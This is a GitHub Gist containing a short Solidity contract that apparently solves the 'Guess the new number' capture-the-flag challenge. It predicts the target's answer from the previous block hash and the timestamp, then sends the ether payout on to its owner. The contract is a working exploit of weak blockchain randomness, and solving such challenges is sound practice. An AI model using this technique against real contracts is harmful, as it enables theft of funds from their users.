Created
April 15, 2018 02:18
-
-
Save saurfang/52c5283592dd2818a1db70a137128313 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.21; | |
import "./GuessTheNewNumberChallenge.sol"; | |
contract GuessTheNewNumberSolver { | |
address owner; | |
function GuessTheNewNumberSolver() public { | |
owner = msg.sender; | |
} | |
function guess(address _challenge) | |
public | |
payable { | |
require(msg.value == 1 ether); | |
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); | |
GuessTheNewNumberChallenge challenge = GuessTheNewNumberChallenge(_challenge); | |
challenge.guess.value(msg.value)(answer); | |
} | |
function () | |
public | |
payable { | |
owner.transfer(msg.value); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment